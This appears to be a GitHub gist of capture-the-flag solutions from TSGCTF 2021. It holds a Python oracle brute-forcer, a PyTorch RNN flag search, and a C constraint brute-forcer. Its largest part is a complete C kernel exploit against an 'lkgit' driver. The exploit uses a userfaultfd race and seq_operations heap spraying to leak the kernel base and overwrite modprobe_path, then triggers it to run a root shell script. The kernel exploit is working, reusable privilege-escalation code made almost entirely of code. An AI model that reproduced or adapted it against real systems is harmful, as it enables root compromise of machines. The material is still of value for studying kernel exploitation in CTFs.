Skip to content

Instantly share code, notes, and snippets.

@moratorium08
Created October 3, 2021 14:10
Show Gist options
  • Save moratorium08/6f62359389d45cab971dbad562380327 to your computer and use it in GitHub Desktop.
Save moratorium08/6f62359389d45cab971dbad562380327 to your computer and use it in GitHub Desktop.
import subprocess
binary = "./genesys"
def check(arg):
print(arg)
try:
s = subprocess.check_output([binary, arg])
except subprocess.CalledProcessError as e:
s = e.output
return len([x for x in s.strip(b"\n").split(b"\n") if x == b"correct"])
pad = "A"
cur = ""
for i in range(32):
print(i, cur, len(cur))
for c in range(0x10, 256):
s = chr(c) + cur
s = pad * (32 - len(s)) + s
r = check(s)
if r == len(cur) + 1:
print(r)
cur = chr(c) + cur
break
elif r != len(cur):
raise Exception("broken?")
else:
raise Exception("broken?")
#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
#include "lkgit.h"
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include<sys/mman.h>
#include<sys/types.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<signal.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<sys/prctl.h>
#define ERR_DIE(msg) { printf("[ERROR] %s\n", msg); puts("\n[-] exiting..."); exit(1); }
/*
*/
#define LPE_PATH "/tmp/pwn.sh"
int lkgit_fd = -1;
char* hash_to_string(char *hash) {
char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);
for(int ix = 0; ix != HASH_SIZE; ++ix) {
sprintf(hash_str + ix*2, "%02lx", (unsigned long)(unsigned char)hash[ix]);
}
return hash_str;
}
char* string_to_hash(char *hash_str) {
char *hash = calloc(HASH_SIZE, 1);
char buf[3] = {0};
for(int ix = 0; ix != HASH_SIZE; ++ix) {
memcpy(buf, &hash_str[ix*2], 2);
hash[ix] = (char)strtol(buf, NULL, 16);
}
return hash;
}
int pwn_state = 0;
void waiting(int target) {
unsigned long long cnt = 0;
while (pwn_state == target) {
if (cnt % 10000000 == 0) printf("%d: waiting..\n", target);
cnt++;
}
}
char buf[0x3000]; // userland buffer
char *addr_bef = 0x117116000;
char *addr = 0x117117000; // memory region supervisored
unsigned long len = 0x1000; // memory length
int overwrite = 0;
char *message;
static void* fault_handler_thread(void *arg)
{
puts("[+] entered fault_handler_thread");
static struct uffd_msg msg; // data read from userfaultfd
struct uffdio_copy uffdio_copy;
long uffd = (long)arg; // userfaultfd file descriptor
struct pollfd pollfd; //
int nready; // number of polled events
// set poll information
pollfd.fd = uffd;
pollfd.events = POLLIN;
// wait for poll
puts("[+] polling...");
while(poll(&pollfd, 1, -1) > 0){
if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
ERR_DIE("poll");
// read an event
if(read(uffd, &msg, sizeof(msg)) == 0)
ERR_DIE("read");
if(msg.event != UFFD_EVENT_PAGEFAULT)
ERR_DIE("unexpected pagefault");
printf("[!] page fault: %p\n",msg.arg.pagefault.address);
// Now, another thread is halting. Do my business.
puts("[+] paging pagin");
fflush(stdout);
// TODO
pwn_state = 1;
waiting(1);
puts("yey");
// forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl
if (overwrite) {
puts("writing message\n");
memcpy(buf, LPE_PATH, MESSAGE_MAXSZ);
}
uffdio_copy.src = buf;
uffdio_copy.dst = addr;
uffdio_copy.len = len;
uffdio_copy.mode = 0;
if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
ERR_DIE("ioctl-UFFDIO_COPY");
break;
}
puts("[+] exiting fault_handler_thrd");
}
register_userfaultfd_and_halt()
{
puts("[+] registering userfaultfd...");
long uffd; // userfaultfd file descriptor
pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
// create userfaultfd file descriptor
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
if(uffd == -1)
ERR_DIE("userfaultfd");
// enable uffd object via ioctl(UFFDIO_API)
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
ERR_DIE("ioctl-UFFDIO_API");
// mmap
puts("[+] mmapping...");
char *tmp2 = addr;
addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified .
char *tmp= mmap(addr_bef, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly sp.
if (tmp != addr_bef) ERR_DIE("mmap");
if (tmp2 != addr) ERR_DIE("mmap");
puts("[+] mmapped...");
if(addr == MAP_FAILED)
ERR_DIE("mmap");
// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
uffdio_register.range.start = addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
ERR_DIE("ioctl-UFFDIO_REGISTER");
s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
if(s!=0){
errno = s;
ERR_DIE("pthread_create");
}
puts("[+] registered userfaultfd");
}
char* snap_file(char *content, char *message) {
hash_object req = {
.content = content,
.message = message,
};
if(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0) {
printf("[ERROR] failed to hash the object.\n");
}
printf("snap_file: %s\n", hash_to_string(req.hash));
char *hash = malloc(HASH_SIZE);
memcpy(hash, req.hash, HASH_SIZE);
return hash;
}
// get a log of the given hash.
int get_log_single(log_object *req, char *hash) {
memcpy(req->hash, hash, HASH_SIZE);
printf("%p\n", req);
printf("%s\n", hash_to_string(req->hash));
printf("%s\n", hash_to_string(hash));
if(ioctl(lkgit_fd, LKGIT_GET_OBJECT, req) != 0) {
assert(0);
} else {
memcpy(hash, req->hash, HASH_SIZE);
return 0;
}
}
// amend a commit message of the given hash.
void ammend_commit(log_object *req, char *hash, char *new_msg) {
memcpy(req->hash, hash, HASH_SIZE);
//memcpy(req->message, new_msg, MESSAGE_MAXSZ);
if(ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, req) != 0) {
assert(0);
}
memcpy(hash, req->hash, HASH_SIZE);
}
unsigned long long u64(unsigned char *buf) {
unsigned long long ptr = 0;
for (int i = 7; i >= 0; i--) {
ptr = ptr * 256 + buf[i];
}
return ptr;
}
unsigned char * p64(unsigned long long v) {
char *ptr = malloc(8);
for (int i = 0; i < 8; i++) {
ptr[i] = v % 256;
v /= 256;
}
return ptr;
}
char *hash;
unsigned long long kern_base = 0;
void get_log_fun() {
puts("uouo");
//printf("%p %s\n", addr, hash_to_string(hash));
get_log_single(addr - HASH_SIZE - FILE_MAXSZ, hash);
printf("%s\n", hash_to_string(hash));
puts("nyan...");
kern_base = u64(hash);
}
void do_amend_fun() {
puts("[+] do amend");
void *req = (void*)(addr - HASH_SIZE - FILE_MAXSZ);
printf("ammend: %p %s %s\n", req, hash_to_string(hash), message);
ammend_commit(req, hash, message);
printf("amend hash: %s\n", hash_to_string(hash));
puts("[+] bye amend");
}
int main(void) {
pthread_t thr;
lkgit_fd = open("/dev/lkgit", O_RDWR);
if(lkgit_fd < 0) {
ERR_DIE("open");
}
///// stage 1. leak kern_base /////
hash = snap_file("hogefuga", "nyan");
register_userfaultfd_and_halt();
int s = pthread_create(&thr, NULL, get_log_fun, (void*)NULL);
//char *hash = get_log_single(addr, hash);
//get_log_fun();
waiting(0);
int statfd;
puts("nekoneko");
char *hash2 = snap_file("hogefuga", "nyan");
printf("%s\n", hash_to_string(hash2));
for(int ix=0; ix!=0x82; ++ix){
statfd = open("/proc/self/stat", O_RDONLY);
assert(statfd > 0);
}
puts("finished");
pwn_state = 2;
pthread_join(thr, NULL);
printf("kern_base: %llx\n", kern_base);
char victim_message[MESSAGE_MAXSZ];
unsigned long long modprobe_path = 0xa8ef00ull + kern_base;
char *kern_addr = p64(modprobe_path);
char *dummy = p64(0xdeadbeef);
memcpy(victim_message, dummy, 8);
memcpy(victim_message+8, dummy, 8);
memcpy(victim_message+16, dummy, 8);
memcpy(victim_message+24, kern_addr, 8);
printf("modprobe_path addr: %llx\n", modprobe_path);
///// stage 2. do AAW using amend message /////
overwrite = 1;
// another req object for race
hash = snap_file("uouo", "UOUO");
addr_bef = 0x117216000;
addr = 0x117217000;
register_userfaultfd_and_halt();
message = "UOUOUOUOUOU";
s = pthread_create(&thr, NULL, do_amend_fun, (void*)NULL);
//s = pthread_create(&thr, NULL, get_log_fun, (void*)NULL);
waiting(2);
puts("kfree");
// kfree
char *hash3 = snap_file("uouo", "nyan");
char *hash4 = snap_file("content", victim_message);
close(statfd); // freelist: seq_operations -> victim_req
for (int i = 0; i < 10; i++) {
hash4 = snap_file("content", victim_message);
}
puts("created");
pwn_state = 2;
puts("nyan");
pthread_join(thr, NULL);
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /home/user/flag' > /tmp/pwn.sh; chmod +x /tmp/pwn.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/neko");
system("chmod +x /tmp/neko");
system("/tmp/neko");
system("cat /home/user/flag");
return 0;
}
import string
import torch
from torch import nn
FLAG_CHARS = string.ascii_letters + string.digits + "{}-"
CHARS = "^$" + FLAG_CHARS
def sanity_check(text):
global FLAG_CHARS
assert text[:7] == "TSGCTF{"
assert text[-1:] == "}"
assert all([t in FLAG_CHARS for t in text])
def embedding(text):
global CHARS
x = torch.zeros((len(text), len(CHARS)))
for i, t in enumerate(text):
x[i, CHARS.index(t)] = 1.0
return x
class Model(nn.Module):
def __init__(self, inpt, hidden):
super().__init__()
self.cell = nn.RNNCell(inpt, hidden)
self.out = nn.Linear(hidden, 1)
def forward(self, xs):
h = None
for x in xs:
h = self.cell(x, h)
#print(h)
return h
def inference(model, text):
model.eval()
with torch.no_grad():
x = embedding("^"+text+"$").unsqueeze(1)
y = model(x)[0].sigmoid().cpu().item()
return y
def evaluate(model, text):
model.eval()
with torch.no_grad():
x = embedding(text).unsqueeze(1)
y = model(x)
#print(y)
#mport sys
#sys.exit(0)
return y[0]
model = Model(len(CHARS), 520)
import os
print(torch.__version__)
#print(os.path.exists("/contemodel_final.pth"))
model.load_state_dict(torch.load("/content/model_final.pth"))
finished = False
threshold = 100
idx = 0
possible = ["^"]
already_reach = set()
while len(possible) > 0:
next_possible = []
for s in possible:
for c in CHARS[1:]:
ret = evaluate(model, s+c)
ok = False
ids = []
for i, x in enumerate(ret):
if torch.abs(x + 1) >= 0.1:
ok = True
ids.append(str(i))
id_ = ','.join(ids)
if ok and id_ not in already_reach:
tmp = s + c
already_reach.add(id_)
if c == "$":
print(f"found: {tmp}")
else:
next_possible.append(tmp)
print(already_reach)
possible = next_possible
print(possible)
#break
idx += 1
if idx > threshold:
break
#include <stdio.h>
#include <bits/stdc++.h>
#include<emmintrin.h>
using namespace std;
typedef long long int i64;
int main(void) {
unsigned v5 = 0;
unsigned v6 = 0;
unsigned v7 = 0;
unsigned v8 = 0;
for (unsigned v5 = 0; v5 < (1uLL << 32) - 1; v5++) {
if ( _mm_movemask_epi8(
_mm_cmpeq_epi8(
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x9569uLL), 8),
_mm_slli_si128( (__m128i)(((0x2AF91 * (unsigned __int128)(0x5F50DDCA7B17LL * (unsigned i64)v5)) >> 64) & 0x3FFFF), 8
))) != 0xFFFF
|| _mm_movemask_epi8(
_mm_cmpeq_epi8(
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x26CF2uLL), 8),
_mm_slli_si128(
(__m128i)(((0x34AB9 * (unsigned __int128)(0x4DC4591DAC8FLL * (unsigned i64)v5)) >> 64) & 0x3FFFF),
8))) != 0xFFFF) continue;
printf("v5: %u\n", v5);
break;
}
for (unsigned v6 = 0; v6 < (1uLL << 32) - 1; v6++) {
if ( _mm_movemask_epi8(
_mm_cmpeq_epi8(
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x20468uLL), 8),
_mm_slli_si128(
(__m128i)(((0x36B39 * (unsigned __int128)(0x4AE11552DF1ALL * (unsigned i64)v6)) >> 64) & 0x3FFFF),
8))) != 0xFFFF
|| _mm_movemask_epi8(
_mm_cmpeq_epi8(
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x3787AuLL), 8),
_mm_slli_si128(
(__m128i)(((0x3A2D3 * (unsigned __int128)(0x46680B140EFFLL * (unsigned i64)v6)) >> 64) & 0x3FFFF),
8))) != 0xFFFF) continue;
printf("v5: %u\n", v6);
break;
}
for (unsigned v7 = 0; v7 < (1uLL << 32) - 1; v7++) {
if(0x4D935BBD3E0LL * (unsigned i64)v7 >= 0x4D935BBD3E0LL
|| _mm_movemask_epi8(
_mm_cmpeq_epi8(
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x5563uLL), 8),
_mm_slli_si128(
(__m128i)(((0x27DF9 * (unsigned __int128)(0x66B9B431B9EDLL * (unsigned i64)v7)) >> 64) & 0x3FFFF),
8))) != 0xFFFF) continue;
printf("v7: %u\n", v7);
break;
}
for (unsigned v8 = 0; v8 < (1uLL << 32) - 1; v8++) {
if(0x1E5D2BE81C5LL * (unsigned i64)(unsigned int)v8 >= 0x1E5D2BE81C5LL
|| _mm_movemask_epi8(
_mm_cmpeq_epi8(
_mm_slli_si128((__m128i)_mm_cvtsi64_si128(0x133E7uLL), 8),
_mm_slli_si128(
(__m128i)(((0x3BC65 * (unsigned __int128)(0x448626500938LL * (unsigned i64)(unsigned int)v8)) >> 64) & 0x3FFFF),
8))) != 0xFFFF ) continue;
printf("v8: %u\n", v8);
break;
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment